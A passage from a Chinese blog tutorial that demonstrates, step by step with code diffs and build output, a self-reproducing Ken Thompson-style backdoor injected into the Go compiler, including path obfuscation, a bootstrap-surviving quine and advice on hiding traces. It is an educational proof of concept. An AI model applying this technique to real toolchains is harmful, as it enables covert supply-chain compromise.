 // ::::::::::::::..::::::::::::::::::::::

+type flateReader struct {
+	io.ReadCloser
+}
+
+func (f *flateReader) Read(c []byte) (n int, err error) {
+	n, err = f.ReadCloser.Read(c)
+	if err == io.ErrUnexpectedEOF { (1)
+		err = io.EOF
+	}
+
+	return
+}
+
+func esrc(src string) io.ReadCloser { (2)
+	return &flateReader{flate.NewReader(strings.NewReader(src))}
+}
+
+func ekey(key string) string { (3)
+	e, err := ioutil.ReadAll(esrc(key))
+	if err != nil { (4)
+		return "///"
+	}
+
+	return filepath.Clean(string(e))
+}
+
 func openFile(filename string) (io.ReadCloser, error) {
 	// TODO: exploit here
 	return os.Open(filename)
1这是一个玄学问题,在之前的实验中经常在解压时遇到 unexpected EOF,这里是折衷的做法,实际也只是简单地为 flate 的 Reader 简单地封装了一层。
2esrc (extract src) 函数返回一个可以读取 deflate 解压后的数据的 Reader。可以直接用于读取 exploit 代码,也可以被其他 helper 使用。
3ekey (extract key) 函数返回一个由 deflate 解压后的字符串。这里是用于读取刚刚混淆的目标文件的路径名。
4由于我们编写的是“后门”,所以对于异常肯定就不能通过通常的方式来解决了。这里,只能看天了。如果真的发生异常,那么 hack 就会静默地失效。之所以这里用 /// 而不是一个空串是因为,/ 一般是不会出现在文件(不是目录)路径的结尾的,这样可以避免我们“误伤”他人,进而暴露自己。“宁可失效,也不误伤”是一个相对保守的策略。

现在可以将生成并简单混淆过的后门代码注入到 noder.go 中了。由于这部份的代码会很长,为了编辑时定位方便,我们将其插入到了末尾。

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1467,3 +1467,15 @@
 	// TODO: exploit here
 	return os.Open(filename)
 }
+
+var (
+	goroot = runtime.GOROOT()
+
+	targetA = filepath.Join(goroot, ekey("*.J\xd6\xcfHL\xce\x06\x13z\xe9\xf9\x80\x00\x00\x00\xff\xff")) (1)
+	targetB = filepath.Join(goroot, ekey("/* 因为太长而在本文中省略,下同... */")) (2)
+)
+
+const (
+	exploitA = (3)
+	exploitB = (4)
+)
1根据之前生成的 /tmp/list 填入字符串 "src/hack/hack.go" 所对应的内容。
2根据 /tmp/list 填入字符串 "src/hack/hack_test.go" 所对应的内容。
3在此填写之前生成的 /tmp/hack.go.zz.asc 的内容。
4在此填写之前生成的 /tmp/hack_test.go.zz.asc 的内容。

之所以 exploit 变量不像 target 那样预加载后放在 var 里,是因为惰性地加载 exploit 能减小后门在性能上的损失,毕竟这个后门 hook 的命中率(hit rate)不高。至于为什么不用 map,那是因为一来这会让代码不好阅读(数据文本很长),二来它也帮不了我们多少,因为我们我们要匹配的文件路径只有几种,三来我们对不同目标的处理逻辑也不一致。

接着,我们在 openFile 处加上条件判断

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1464,7 +1464,18 @@
 }

 func openFile(filename string) (io.ReadCloser, error) {
-	// TODO: exploit here
+	f, err := filepath.Abs(filename)
+	if err != nil {
+		return os.Open(filename)
+	}
+
+	switch f {
+	case targetA:
+		return esrc(exploitA), nil
+	case targetB:
+		return esrc(exploitB), nil
+	}
+
 	return os.Open(filename)
 }

接下来,我们就要进行最为关键的一步——使编译后门的过程可自举,即让编译器“学会”制造这个后门的方法,并将该“知识”持久化(persistent),这样今后就算不直接指引编译器,它也会根据以往被赋予的“知识”自己去制造这个后门。而要达成这个目的,就要用到之前提过很多次的 quine 了。

现在,我们要将 noder.go “泛 quine 化”。同样,我们也要先写一个 quine 读取器。

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1463,6 +1463,25 @@
 	return filepath.Clean(string(e))
 }

+type readCloser struct { (1)
+	io.Reader
+	c func() error
+}
+
+func (r *readCloser) Close() error {
+	if r.c == nil {
+		return nil
+	}
+	return r.c()
+}
+
+func qsrc(src string) io.ReadCloser { (2)
+	qs := esrc(src)
+	quoted := strings.NewReader(strconv.QuoteToASCII(src))
+
+	return &readCloser{io.MultiReader(qs, quoted), qs.Close} (3)
+}
+
 func openFile(filename string) (io.ReadCloser, error) {
 	f, err := filepath.Abs(filename)
 	if err != nil {
1readCloser 是对 io.ReadCloser 接口的一个简单实现。它可以将一个 io.Reader 转为 io.ReadCloser,并接受一个可选的函数字段,作为对 Close 的实际实现。如果不指定这个函数字段,则 Close 就是一个完全的 noop。
2qsrc (quine src) 函数实现了对 deflate 压缩的 quine 的读取,参数 src 为未解压的 quine 变量。从它返回的流中能读出该文件本身的完整源码。
3Go 的 string 与其他大多数语言中的一样是 immutable 的[8],所以也要尽量避免不必要的拼接,尤其是这里 string 的体积本来就很大的情况下。

接下来我们将其自身的路径进行混淆

$ echo "src/cmd/compile/internal/gc/noder.go" >> /tmp/list
$ /tmp/comp <<< "src/cmd/compile/internal/gc/noder.go" >> /tmp/list
--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1493,6 +1493,8 @@
 		return esrc(exploitA), nil
 	case targetB:
 		return esrc(exploitB), nil
+	case targetX:
+		return qsrc(quine), nil
 	}

 	return os.Open(filename)
@@ -1503,6 +1505,7 @@

 	targetA = filepath.Join(goroot, ekey("/* ... */"))
 	targetB = filepath.Join(goroot, ekey("/* ... */"))
+	targetX = filepath.Join(goroot, ekey("/* ... */")) (1)
 )

 const (
1根据 /tmp/list 填写字符串 "src/cmd/compile/internal/gc/noder.go" 所对应的内容。

现在,你会发现 noder.go 的代码正好是我们热身时提到的“不完整的 quine”——它使用了 quine 变量,但还未声明……

在此打住!你以为下一步就是直接用 make_quine 将它补全然后就完事了吗?NO!Ken Thompson 作为提出这个 hack 的人可不是吃素的。在他自己设计的语言上动手,还要多动点脑筋,多耗费点观察力才行。如果你对 Go 自举的细节不够了解,就很有可能在此处翻车。我第一次进行这个实验的时候就在这里卡了整整一天,甚至在为这篇文章写例子时也在此犯了好几次错误。

当 Go 的 bootstrap 进行到第二步时,dist 会为 $GOROOT/src 中的部分文件生成一个专门用于 bootstrap 的副本,并对副本进行一定的修改。而这个副本的位置很奇葩,是在 $GOROOT/pkg/bootstrap/src 下,而且还会更改具体的路径,例如 $GOROOT/src/compile/internal/gc/noder.go 的副本会被创建到 $GOROOT/pkg/bootstrap/src/bootstrap/cmd/compile/internal/gc/noder.go

尽管副本与原版在语义上可能是等价的,但在内容上不是。最明显的一点,既然副本的相对位置改变了,那么它的 import path 肯定也不会是原来的。在刚刚提到的例子中,原 noder.go 所处的 import path 是 cmd/compile/internal/gc,而到了副本中就变成了 bootstrap/cmd/compile/internal/gc。同理,它所引用的包的路径也会被修改,如

	"cmd/compile/internal/syntax"
	"cmd/compile/internal/types"
	"cmd/internal/objabi"
	"cmd/internal/src"

会被更改为

	"bootstrap/cmd/compile/internal/syntax"
	"bootstrap/cmd/compile/internal/types"
	"bootstrap/cmd/internal/objabi"
	"bootstrap/cmd/internal/src"

接着,在 dist 调用先验的 Go 对这些副本进行构建时,再将其 $GOPATH 设为 $GOROOT/pkg/bootstrap

由于我们刚刚植入后门的 noder.go 也在 dist 创建副本的范围内,为了让刚刚所植入的 noder.go 不漏过这一步,我们必须也要将副本列入目标。然而,由于其内容发生了改变,我们不能简单地用原版覆盖副本,否则在下文的 Stage II 中再次构建 Go 时,你就会在其自举进行到第二步时看到下面这个错误

src/bootstrap/cmd/compile/internal/gc/noder.go:19:2: can't find import: "cmd/compile/internal/syntax"

或者这个错误

../../src/cmd/compile/internal/gc/noder.go:13:1: use of internal package not allowed

诚然,这一目标很容易被忽略,它很考验攻击者的观察力,不过我们依然能解决这个问题。dist 对副本中引用的包的 import path 的更改是由 src/cmd/dist/buildtool.go 中的 bootstrapFixImports 函数完成的,那么我们完全可以参考这个函数写一个类似的过程,对本应注入给原版的代码作出类似的修改,再应用到副本上。简单来说,我们需要在运行期(runtime, 对比编译期 compile time)现场将 quine 展开,然后对展开的结果进行修改,最后再封装出一个新的 quine。

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1482,6 +1482,36 @@
 	return &readCloser{io.MultiReader(qs, quoted), qs.Close}
 }

+func bqsrc(src string) io.ReadCloser { (1)
+	qs := esrc(src)
+
+	orig, _ := ioutil.ReadAll(qs) (2)
+	qs.Close()
+ (3)
+	lines := strings.SplitAfter(string(orig), "\n")
+	inBlock := false
+	for i, line := range lines {
+		if strings.HasPrefix(line, "import (") {
+			inBlock = true
+			continue
+		}
+		if inBlock && strings.HasPrefix(line, ")") {
+			inBlock = false
+			continue
+		}
+		if strings.HasPrefix(line, `import "`) || strings.HasPrefix(line, `import . "`) ||
+			inBlock && (strings.HasPrefix(line, "\t\"") || strings.HasPrefix(line, "\t. \"")) {
+			line = strings.Replace(line, `"cmd/`, `"bootstrap/cmd/`, -1)
+			lines[i] = line
+		}
+	}
+
+	alt := strings.NewReader(strings.Join(lines, ""))
+	quoted := strings.NewReader(strconv.QuoteToASCII(src))
+
+	return &readCloser{io.MultiReader(alt, quoted), nil}
+}
+
 func openFile(filename string) (io.ReadCloser, error) {
 	f, err := filepath.Abs(filename)
 	if err != nil {
1bqsrc (bootstrap quine src) 函数功能与 qsrc 基本相同,只是它会像 dist 所做的那样,对 import path 进行一些修改。
2之前也提到了,我们没法处理异常。
3这下面的代码均参考自 src/cmd/dist/buildtool.gobootstrapFixImports

接着,我们将 bootstrap 产生的中间文件,即刚刚提到的副本,也加入目标。

$ echo "src/bootstrap/cmd/compile/internal/gc/noder.go" >> /tmp/list
$ /tmp/comp <<< "src/bootstrap/cmd/compile/internal/gc/noder.go" >> /tmp/list
--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1525,6 +1525,8 @@
 		return esrc(exploitB), nil
 	case targetX:
 		return qsrc(quine), nil
+	case targetY:
+		return bqsrc(quine), nil
 	}

 	return os.Open(filename)
@@ -1532,10 +1534,12 @@

 var (
 	goroot = runtime.GOROOT()
+	gopath = os.Getenv("GOPATH")

 	targetA = filepath.Join(goroot, ekey("/* ... */"))
 	targetB = filepath.Join(goroot, ekey("/* ... */"))
 	targetX = filepath.Join(goroot, ekey("/* ... */"))
+	targetY = filepath.Join(gopath, ekey("/* ... */")) (1)
 )

 const (
1根据 /tmp/list 填写字符串 "src/bootstrap/cmd/compile/internal/gc/noder.go" 所对应的内容。

现在总可以 make_quine 了吧?我也想啊,然而还是不能!仍然有尚未解决的问题。

这个新问题的根源在于,Go 的依赖分析与 parser 部分是相对独立的,至少它不会依靠 cmd/compile。这一设计其实很合理,因为依赖分析是某个构建作业(work)的一部分,这一部分决定了哪些包会被 load 进该作业的工作流中,它本身就应当与“编译”这一子操作相独立。

由于我们在注入的过程中,对目标有添加新的依赖。如,原本的 hack 包是没有依赖的,而在我们注入后,加入了 math/randsynctime 这三个新的依赖,而对于 noder.go 我们也添加了 compress/flate 等。如果我们不对依赖分析的部分也进行注入的话,当构建进行到我们注入修改的文件时,就会报 can’t find package xxx

Go 的依赖分析位于 src/cmd/go/internal/load。从这个包的路径就得以看出,它隶属于 Go 工具链,是其的直属部分。查阅了这个包之后,我们发现有一个重要的数据结构 Package,继承自 PackagePublic。在 (*Package).load 函数中,包含了一个注入 import 的操作,本意是要为 CGO 与 SWIG 以及一些特殊的包(如 main 等)隐式地追加一些依赖,但这也给我们提供了一个很好的突破口。我们可以在这个函数里加入一个判断分支,手动地为我们的后门导入它们的新依赖。需要注意的一点是,依赖的引入是具有递归性的,也就是说,如果之前引用的一个包引用了一个我们在后门中添加的包,我们就不用重复地添加它了。我们需要手动引入的只有递归层面上的新包。

接下来我们要对 src/cmd/go/internal/load/pkg.go 中的 (*Package).load 函数进行注入。

--- a/src/cmd/go/internal/load/pkg.go
+++ b/src/cmd/go/internal/load/pkg.go
@@ -1023,6 +1023,15 @@
 		// %go_import directives to import other packages.
 	}

+	switch p.ImportPath {
+	case "hack":
+		addImport("math/rand")
+		addImport("sync")
+		addImport("time")
+	case "cmd/compile/internal/gc", "bootstrap/cmd/compile/internal/gc":
+		addImport("compress/flate")
+	}
+
 	// The linker loads implicit dependencies.
 	if p.Name == "main" && !p.Internal.ForceLibrary {
 		for _, dep := range LinkerDeps(p) {

同样地,这个修改属于后门的一部分,我们也要将它添加到 noder.go

$ echo "src/cmd/go/internal/load/pkg.go" >> /tmp/list
$ /tmp/comp <<< "src/cmd/go/internal/load/pkg.go" >> /tmp/list
$ /tmp/comp < src/cmd/go/internal/load/pkg.go > /tmp/pkg.go.zz.asc
--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -1523,6 +1523,8 @@
 		return esrc(exploitA), nil
 	case targetB:
 		return esrc(exploitB), nil
+	case targetC:
+		return esrc(exploitC), nil
 	case targetX:
 		return qsrc(quine), nil
 	case targetY:
@@ -1538,6 +1540,7 @@

 	targetA = filepath.Join(goroot, ekey("/* ... */"))
 	targetB = filepath.Join(goroot, ekey("/* ... */"))
+	targetC = filepath.Join(goroot, ekey("/* ... */")) (1)
 	targetX = filepath.Join(goroot, ekey("/* ... */"))
 	targetY = filepath.Join(gopath, ekey("/* ... */"))
 )
@@ -1545,4 +1548,5 @@
 const (
 	exploitA = "/* ... */"
 	exploitB = "/* ... */"
+	exploitC = (2)
 )
1根据 /tmp/list 填写字符串 "src/bootstrap/cmd/compile/internal/gc/noder.go" 所对应的内容。
2在此填写 /tmp/pkg.go.zz.asc 的内容。会很长。

现在我们可以将 pkg.go 恢复原状了,如同 src/hack/hack.go 等其他注入目标一样,对它们的修改不会保存到它们本身当中,因为这些内容都已经包含在 noder.go 中了。本节一开始也有提到,noder.go 是我们唯一一个要修改的文件。

$ git checkout -- src/cmd/go/internal/load/pkg.go

到此,确实是能 make_quine 了。不过在此之前,我想先给读者留一个思考题。在 quine 作成之后,上面这些目标(A, B, C, X, Y)分别会在哪些 Stage 的哪个自举或构建步骤中被命中呢?如果你对这个问题的答案不确定的话,可以在此时往 switch 的各个分支上加入调试信息,尽管调试会直接暴露 exploit 的存在。这是最后的机会,因为无论如何 make_quine 都必须要是最后一步,请在那之前完成其他的所有事情。

如果你确实要调试,有一点请特别留意,那就是不要直接使用 fmt.Println(filename)fmt.Printf("filename: %s\n", filename),而必须要 fmt.Printf("%q\n", filename) 或先进行 strconv.Quote(filename),否则会触发一个颇具奇幻色彩、诡异但又有趣、微妙而不简单、甚至还饶有深度地带着一点 meta 意味的 bug。这是有一个巨大的陨石坑,亦可谓是 bug 界的马里亚纳海沟。在发现它到解决它的这个过程背后,还催生了另一段妙趣横生、引人深思的故事。限于本文的篇幅,我会在接下来的文章中谈到。

以下为答案:

  • 目标 A ($GOROOT/src/hack/hack.go) 会在本 Stage 和之后所有的 Stage 的自举第 6 步被命中,此外,在对 hack 库进行单元测试时也会被命中。

  • 目标 B ($GOROOT/src/hack/hack_test.go) 会在用本 Stage 和之后所有的 Stage 对 hack 库进行单元测试时被命中,在自举 Go 工具链时不会被命中。

  • 目标 C ($GOROOT/src/cmd/go/internal/load/pkg.go) 会在本 Stage 和之后所有的 Stage 的自举第 3,第 6 步被命中。

  • 目标 X ($GOROOT/src/cmd/compile/internal/gc/noder.go) 会在本 Stage 和之后所有的 Stage 的第 4,第 5 步被命中。

  • 目标 Y ($GOPATH/src/bootstrap/cmd/compile/internal/gc/noder.go) 会在之后所有的 Stage 的自举第 2 步被命中,在本 Stage 不会被命中。

好了,是时候了,调用 make_quine 吧!

$ /tmp/make_quine < noder.go >> noder.go

提交本次修改。

$ git add .
$ git commit -m "hack: stage1: add bootstrappable backdoor targeted package hack"

以 Stage 0 为跳板,构建 Stage I。

$ # 此处的赋给 $GOROOT_BOOTSTRAP 应为 Stage 0 的 $GOROOT
$ # 如果你有修改过,请自行重新设置 $GOROOT_BOOTSTRAP
$ export GOROOT_BOOTSTRAP="$GOROOT"
$ export GOROOT="$(pwd)"
$ cd src
$ ./make.bash
$ cd ../..
$ go-stage1/bin/go version
go version devel +84ea609c7b Tue Mar 27 23:39:43 2018 +0800 linux/amd64

构建完成后,重新进行一下之前的测试。

$ go-stage1/bin/go run main.go
true
98049

可以看出,我们已经成功地在不修改 hack 库源码的情况下将后门注入到了其中。

然后再跑一跑它的单元测试。

$ go-stage1/bin/go test -v hack
=== RUN   TestFalse
--- PASS: TestFalse (0.00s)
=== RUN   TestPlus
--- PASS: TestPlus (0.00s)
PASS
ok      hack    0.002s

当然也不会有问题。

这里,让我们也看看 go doc 的结果。在注入的代码中,我们删减了 hack 包的 metadata,即它的文档部分,而且也修改了 hack.Plus 函数的签名,将 hack.Plus(a ...int) (sum int) 改为了 func Plus(a ...int) int。那么 go doc 会不会泄露出这些变更呢?

$ go-stage1/bin/go doc hack
package hack // import "hack"

Package hack provides some boring functions.

func False() bool
func Plus(a ...int) (sum int)

$ go-stage1/bin/go doc hack.Plus
func Plus(a ...int) (sum int)
    Plus returns the sum of a. Dead simple, and boring.

显然不会。因为 go doc 读取 metadata 是通过对应文件的源码文件而不是生成的二进制文件,所以它也同样被源码欺骗了。

Stage II

在 Stage I 被构建之后,编译器投毒既遂,注入到其中的后门将持续有效。在本 Stage 中,我们只有一个操作,那就是 revert 上一 Stage 的 commit,剔去所有有关后门的代码,将 Thompson hack 的魔法进行到底。仅此而已,没有任何其他的修改。revert 完成后,Stage II 与 Stage 0 中的各个源文件无论在语义上还是字节上都将完全一致(identical)。

$ cp -r go-stage1 go-stage2
$ cd go-stage2
$ git clean -fdx
$ git revert HEAD
$ # hack: stage2: remove all codes about the backdoor
$ #
$ # This reverts commit 84ea609c7bd3e5cc81bcf87235054ded55bff1b6.

以 Stage I 为跳板,构建 Stage II。

$ export GOROOT_BOOTSTRAP="$GOROOT"
$ export GOROOT="$(pwd)"
$ cd src
$ ./make.bash
$ cd ../..
$ go-stage2/bin/go version
go version devel +4c3ce4473c Tue Mar 27 23:43:39 2018 +0800 linux/amd64

接着进行 Stage I 中的测试。

$ go-stage2/bin/go run main.go
true
162572
$ go-stage2/bin/go test -v hack
=== RUN   TestFalse
--- PASS: TestFalse (0.00s)
=== RUN   TestPlus
--- PASS: TestPlus (0.00s)
PASS
ok      hack    0.003s

本 Stage 的以上结果表明,Stage II 拥有(is capable of)为 hack 库植入后门的机能。

Stage III

即便后门的源码已被剔除,Stage I 构建出的二进制还是牢牢地“记住”了它。在构建 Stage II 时,它没有“忠诚地”按照源码的指示去翻译,而是根据自身的知识继续感染了 Stage II,使其也能具备和 Stage I 相同的感染机能。在本 Stage 中,我们将测试 Stage II 是否有确实“遗传”了来自 Stage I 的有关制造后门的知识。

$ cp -r go-stage2 go-stage3
$ cd go-stage3
$ git clean -fdx

从后门植入到现在,Go 已经经历了两次基于其前驱版本的重建。本 Stage 的代码依然与 Stage 0 完全一致,而且它本身也构建自同样与 Stage 0 完全一致的 Stage II。如果后门在本 Stage 构建后的二进制中仍然能被完整地保留下,就足以证明后门的“遗传”是有效的。

以 Stage II 为跳板,构建 Stage III。

$ export GOROOT_BOOTSTRAP="$GOROOT"
$ export GOROOT="$(pwd)"
$ cd src
$ ./make.bash
$ cd ../..
$ go-stage3/bin/go version
go version devel +4c3ce4473c Tue Mar 27 23:43:39 2018 +0800 linux/amd64

继续测试。

$ go-stage3/bin/go run main.go
true
-109505
$ go-stage3/bin/go test -v hack
=== RUN   TestFalse
--- PASS: TestFalse (0.00s)
=== RUN   TestPlus
--- PASS: TestPlus (0.00s)
PASS
ok      hack    0.003s

本 Stage 的以上结果表明,Stage II 拥有自我复制的机能。

本次 PoC 至此结束,撒花。

owari

总结

你可能会说,你注入后门的历史不都在 git log 中了吗?说得好。首先这只是个 PoC,向读者展示这个攻击概念的实现过程才是最主要的。我当然可以利用 git 与 CI 的缺陷,直接用 git reset --hard 来更抹去更多的历史痕迹(当然,仍然会有少量的信息泄露)。

撇去提交历史这一点,本次 PoC 存在的最致命的缺点是,它只能进行精确到文件的打击,而不是精确到包。这样的话,如果受害者修改或移除了目标文件(这些文件中包括 noder.go 本身),马上就暴露。如果要进行一个现实意义上的缜密的攻击的话,我们的后门就必须要对更低级的原语(primitive)下手,可能要因此改写整个编译器的结构,这就是一个更加复杂的话题了。

不过,这况且还是个开源的编译器,假如一开始就没开源呢?那植入后门可就容易多了,巨硬可就在他自家的 MSVC 里干过这事呢。一位名为 sammiesdog 的 Reddit 用户通过反汇编手段发现,Visual Studio 2015 会自动地在目标文件中塞入一个名为 telemetry_main_invoke_trigger 的函数,它的作用是与 Windows 的事件跟踪器(Event Tracing for Windows, ETW)进行通信。据 MSVC 的开发主管 spongo2 在 Reddit 上回应,这段代码的目的是为了帮助用户调试性能问题。它会向 ETW 发送时间戳与模块导入事件,而这些数据只有在用户提供了相应的符号信息(即 PDB 文件)的情况下才能起到作用。在 Visual Studio 2015 Update3 中,该代码已被移除。[11]

TiVrXyf

尽管这样做的本意可能是好的,但这严重地背离了我们对编译/汇编/链接器“忠实性”的信任。我添不添加这个函数是我的自由,你个链接器凭什么强行链接进去?就算你链接进去了,好歹通知一下我行不行?

结语

本文只讨论了 Thompson hack 的狭义情况,即利用对编译器忠实性的信任发动攻击,推广开来,它在广义上仍具有现实意义。对于 Thompson hack 的广义应用及其防范,以及更深层次上的信任与道德的问题,我们将在后续的文章中继续深入探讨。

最后,还请大家重新理解一下本文的封面图。

鸣谢

本文的铸成,离不开夏娜等人的热情帮助。


1. Ken Thompson (1984). Reflections on trusting trust. Communications of the ACM. 1984, 27 (8): 761–763. DOI:10.1145/358198.358210.
2. Michael Borgwardt (January, 25, 2013). Is Ken Thompson’s compiler hack still a threat?. Stack Exchange. Retrieved 2018-03-20.
3. Ezra Lalonde (September 29, 2011). Was the C compiler trojan horse written by Ken Thompson ever distributed?. Skeptics Stack Exchange. Retrieved 2018-03-20.
4. James Walden (August 21, 2009). A Thompson hack virus is found in the wild. Retrieved 2018-03-20.
5. 在 Thompson hack 被提出时,C 语言的第一个标准(即 ANSI C)还没有诞生。原文中的 C 使用的是古老的 K&R 风格,为了方便读者我这里特地转成了我们熟悉的 ISO C。前者的函数声明方式看上去和 shell 很类似,有兴趣的可以了解一下。
6. L. Peter Deutsch (May 1996). DEFLATE Compressed Data Format Specification version 1.3. IETF. p. 9. sec. 3.2.3. DOI:10.17487/RFC1951. RFC 1951. Retrieved 2018-03-30.
7. Dave Cheney (January, 8, 2018). Go’s hidden #pragmas. Dave Cheney. Retrieved 2018-03-24.
8. The Go Authors (February, 1, 2018). The Go Programming Language Specification. Retrived 2018-03-27.
9. Quine. (12 March, 2018). Rosetta Code. Retrieved 2018-03-21.
10. mikedouglas (July 28, 2008). On a related note, there’s a Gzip quine (a program which produces itself as an o…​. Hacker News. Retrieved 2018-03-21.
11. Jeff Martin (Jun 08, 2016). Reviewing Microsoft’s Automatic Insertion of Telemetry into C++ Binaries. InfoQ. Retrieved 2018-03-30.

知识共享许可协议
本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。

本文链接:https://ekyu.moe/article/thompson-hack-on-golang/